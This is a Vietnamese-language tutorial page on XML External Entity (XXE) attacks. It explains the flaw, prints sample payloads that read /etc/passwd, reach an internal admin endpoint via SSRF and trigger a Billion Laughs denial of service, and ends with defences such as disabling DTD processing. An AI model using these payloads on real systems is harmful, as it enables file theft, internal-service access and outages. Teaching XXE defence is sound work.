Skip to main content

1.01 | XXE

Số lượt xem trang

🛡 XML External Entity (XXE) Attack

🔥 1. Khái niệm​

XXE (XML External Entity Attack) là một lỗ hổng bảo mật khi ứng dụng xử lý XML mà không vô hiệu hóa thực thể bên ngoài (external entity). Hacker có thể khai thác để:

  • Đọc file trên server
  • Rò rỉ thông tin nhạy cảm
  • Thực hiện Server-Side Request Forgery (SSRF)
  • Tấn công DoS

🛠 2. Cách thức hoạt động của XXE​

Khi một XML parser cho phép external entity, hacker có thể chèn payload để truy xuất dữ liệu từ server.

Ví dụ, một ứng dụng nhận XML từ user:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
</user>

Nếu server xử lý XML mà không tắt external entity, nó sẽ thay &xxe; bằng nội dung file /etc/passwd.

Luồng dữ liệu của một lần khai thác cơ bản như sau:

Attacker gửi XML khai báo external entity trỏ tới file:///etc/passwd. XML parser bật DTD đọc file trên server, thay thế entity bằng nội dung file rồi trả về trong phản hồi, làm rò rỉ dữ liệu ra ngoài. Attacker gửi XML khai báo external entity trỏ tới file:///etc/passwd. XML parser bật DTD đọc file trên server, thay thế entity bằng nội dung file rồi trả về trong phản hồi, làm rò rỉ dữ liệu ra ngoài.

File gốc: nền sáng · nền tối

🚀 3. Tấn công XXE​

(1) Đọc file từ server​

Gửi XML với entity trỏ đến file hệ thống:

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

Nếu bị khai thác, response sẽ chứa nội dung file /etc/passwd.

(2) SSRF Attack (Tấn công dịch vụ nội bộ)​

Dùng XXE để gửi request đến nội bộ hệ thống:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://localhost/admin">
]>
<user>
<name>&xxe;</name>
</user>

Nếu server có API nội bộ trên localhost/admin, hacker có thể khai thác nó.

(3) DoS Attack (Billion Laughs Attack)​

Dùng recursion để tạo vô số entity gây crash server:

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "LOL">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;">
]>
<data>&lol3;</data>

🛡 4. Cách phòng chống XXE​

✅ Vô hiệu hóa DTD & external entity trong XML parser
Trong Java:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

Trong .NET:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;

✅ Sử dụng JSON thay vì XML
JSON không có entity nên an toàn hơn.

✅ Giới hạn quyền đọc file trên server
Dùng chroot, SELinux hoặc AppArmor để giới hạn phạm vi đọc file.

✅ Dùng WAF (Web Application Firewall)
Chặn payload chứa <!ENTITY hoặc SYSTEM.